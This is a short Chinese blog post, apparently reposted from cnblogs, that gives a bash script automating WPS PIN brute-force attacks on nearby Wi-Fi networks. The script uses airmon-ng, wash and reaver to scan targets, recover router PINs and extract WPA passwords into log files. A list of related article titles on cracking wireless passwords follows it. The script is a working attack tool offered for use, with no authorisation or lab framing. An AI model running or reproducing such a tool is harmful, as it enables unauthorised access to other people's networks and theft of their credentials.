直接上脚本吧, 我做个笔记。

#*************************************************************************
#         > File Name: wifi.sh
#         > Author: chenglee
#         > Main : chengkenlee@sina.com
#         > Blog : http://www.cnblogs.com/chenglee/
#         > Created Time : Tue 26 Mar 2019 09:30:16 PM CST
#*************************************************************************
#!/bin/bashwlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'`function Wwash(){echo "判断网卡是否以挂载..."if [ -z "${wlanname}" ];thenecho "网卡没挂载, 请先手动挂载网卡"exit;elseecho "网卡已挂载,判断是否已启动监听模式"#airmon-ng start ${wlanname}wlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'`string="mon"if [[ $wlanname =~ $string ]];thenecho "监听模式正常, 开始扫描附近无线网络..."nohup wash -i ${wlanname} > logs/file 2>&1 &elseecho "监听模式异常, 准备重启监听模式"airmon-ng stop ${wlanname}airmon-ng start ${wlanname}echo "检查网卡监听模式状态"if [[ $wlanname =~ $string ]];thenecho "监听模式正常, 开始扫描附近无线网络..."nohup wash -i ${wlanname} > logs/file 2>&1 &elseecho "定点异常,请插拔网卡后继续运行此脚本"exit;fififi
}
function file(){sleep 5;num=`cat -n logs/file | grep BSSID | awk -F ' ' '{print$1}'`number=`expr ${num} + 2`nullnum=`sed -n ''"$number"',$p' logs/file | awk '/^$/{print NR}' | head -n 1`if [ "$nullnum" =  "" ];thensed -n ''"$number"',$p' logs/file | awk -F ' ' '{print$1,$2}' > logs/file1cat logs/file1 | awk -F ' ' '{print$1}' > logs/maccat logs/file1 | awk -F ' ' '{print$2}' > logs/chelsesed -n ''"$number"',$p' logs/file | awk -F ' ' '{print$1,$2}' > logs/file1nullnu=`expr ${nullnum} - 1`sed -n '1,'"$nullnu"'p' logs/file1 > logs/file2cat logs/file2 | awk -F ' ' '{print$1}' > logs/maccat logs/file2 | awk -F ' ' '{print$2}' > logs/chfi
}
function Rreaver(){wlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'`exec 3<"logs/mac"exec 4<"logs/ch"while read line1<&3 && read line2<&4doecho "后台分析物理地址为:${line1},信道为:${line2}的无线网络数据, 请稍后..."nohup reaver -i ${wlanname} -b ${line1} -c ${line2} -vv -K 0 >> logs/${line1}.logs 2>&1 &done
}
function analyse_PIN(){lsatstring="logs"exec 5<"logs/mac"while read line3<&5doWPA_PIN=`cat logs/${line3}.${lsatstring} | grep WPA`if [ "$WPA_PIN" =  "" ];thenecho "${line3}-PIN码获取不到, 继续判断..."elseecho "${line3}-PIN码获取成功!!PIN码:${WPA_PIN}"echo "${line3}" >> logs/pin_mac 2>&1 &echo "${WPA_PIN}" | awk -F ':' '{print$NF}' | sed 's/ //g' >> logs/pin_pin 2>&1 &fidone
}
function Ppin(){wlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'`exec 6<"logs/pin_mac"exec 7<"logs/pin_pin"while read line4<&6 && read line5<&7doecho "开始通过(路由器):${line4},pin码:${line5},套取密码..."nohup reaver -i ${wlanname} -b ${line4} -p ${line5} >> logs/${line5}.logs 2>&1 &done
}
function pass(){lsatstring="logs"exec 8<"logs/pin_pin"while read line6<&8doPassWord=`cat logs/${line6}.${lsatstring} | grep PSK`if [ "$PassWord" =  "" ];thenecho "PIN码为:${line6},密码获取失败, 继续获取..."elseecho "PIN码为:${line6},密码获取成功,请前行 logs/${line6}.${lsatstring}文件查看相关 SSID,PASS等信息"fidone
}
function logs(){if [ -d "logs" ];thenecho ""Wwashsleep 10;fileelseecho ""mkdir logsWwashsleep 10;filefi
}
function main(){#logs#file
###############多重循环暴力区###############    #Rreaver#analyse_PIN#Ppin#pass
###############多重循环暴力区###############
}
main

  

转载于:https://www.cnblogs.com/chenglee/p/10601642.html

kali-通过获取路由器pin码套取无线网络密码shell脚本相关推荐

  1. Kali破解路由器Pin码

    本文中涉及的所有技术仅供个人学习.技术交流,禁止用于非法用途!!请在国家法律允许的范围内使用!!! 本文中涉及的所有技术仅供个人学习.技术交流,禁止用于非法用途!!请在国家法律允许的范围内使用!!! ...

  2. 哪看计算机的网络密码,如何检查计算机的无线网络密码?两种查看方法

    有时,很长一段时间后,我们很容易忘记计算机的无线网络密码,即Wifi密码. 当来自朋友或家人的新无线设备需要无线Internet访问时,我们将告诉无线网络密码. 那么如何检查计算机的无线网络密码呢?下 ...

  3. Reaver跑pin码+Mdk3无线攻击笔记

    实例三-Reaver跑pin码破解wifi PIN码共分为8位,按 4 3 1分段,总共穷举有11000种组合.通过获取到PIN码,并记住Bssid和PIN,后期可以通过一条命令爆出无线密码. 容易碰 ...

  4. Windows7查看无线网络密码

    如果你是Windows XP用户,忘记了无线网络密码你怎么办? 一般的,遇到这样的情况,大家会选择"密码查看器"之类的工具,或是向网管寻求帮助. 而如果你是Windows 7用户, ...

  5. 计算机上在网络密码,电脑上怎么使用无线网络密码

    Win10怎么查看无线网络密码 工具原料:电脑+无线密码 windows10电脑找无线密码方法如下: 一.点击电脑右下角无线链接图标,选择已链接的无线帐户,右键选择"属性"如下图所 ...

  6. w7无线网络密码破解

    w7无线网络密码破解 w7无线网络密码破解大家好,有需要或想要学解wifi密      码可以加我的扣扣是1029681082 有需要或想要学习破解wifi密码可以加我扣扣,懂的不多破解个密码是搓搓有 ...

  7. 用BT3破解无线网络密码的教程以及如何制作U盘版和光盘版BT3

    用BT3破解无线网络密码的教程以及如何制作U盘版BT3 招:论坛版主  新建 文本文档.rar (1 K) 下载次数:81 一分钟制作 BT3 U盘版 方便,快捷简单 光盘版BT3, 大概694MB, ...

  8. 如何轻松破解无线网络密码

    奶瓶这个系统,相信玩无线的朋友应该都会知道.这是一款基于 Tiny Core Linux 搭建的无线网络安全测试系统,当然由于它是用来安全测试的系统,因此在安全方面自然有着强大的功能.而且,这个系统非 ...

  9. ns-3脚本初识——WIFI无线网络:third脚本

    ns-3脚本初识--WIFI无线网络:third脚本 ps:本文所有文件和目录的默认根目录均为ns-3.29/. 正如在构建点到点拓扑时看到的点到点拓扑和CSMA拓扑助手对象一样,将在本节中看到等效的 ...

最新文章

  1. 玩转Android之在线视频播放控件Vitamio的使用
  2. kaggle数据集命令行下载
  3. VS2019-C++警告-C6385读取数据无效
  4. [转]jQuery: how to get which button was clicked upon form submission?
  5. python云台控制原理_python伺服云台摄像头图像作为背景
  6. 数字逻辑:多级门电路
  7. python外国网站爬虫_10分钟教你用python爬取网站信息:这可能是全网最好用的爬虫代码...
  8. Linux 下文件和目录的特点
  9. idea中Empty tag doesn‘t work in some browsers 浏览器中一片空白,没有渲染样式,
  10. 《Qt on Android核心编程》介绍
  11. APP中方法超过64K的解决办法
  12. LateX正文与首页页眉线分别为单双线的设置方法
  13. xml 硕正报表_主要指标及功能清单
  14. html表单中下拉列表,HTML select下拉列表标签
  15. 架构师的职责是什么?
  16. arduino并口屏_零知开源软件库使用-ILI9341并口显示屏
  17. 残差/shortcur/Resnet 究竟好在哪里
  18. Rufus制作ubuntu的U盘启动盘
  19. Fluke TiX560 红外热像仪二次开发包
  20. 凌思微-LE5010蓝牙开发(三)

热门文章

  1. Python 缓存机制之functools.lru_cache
  2. AUTOjs3.0文档之悬浮窗
  3. smartgit 体验过期解决办法
  4. Hystrix断路器入门1
  5. AndroidStudio如何进行手机应用开发?
  6. C#程序的实现2个内存对象的合并生成一个新的内存对象
  7. 利用SD的插件从文本或者图片创建3D模型
  8. Linux+MCSM9+Docker 搭建Minecraft基岩版BDS私服,我的世界基岩版开服教程
  9. HTML5 DOM元素类名相关操作API classList简介
  10. 多线程抢票_一个人干掉黄牛 双系统多线程抢票指南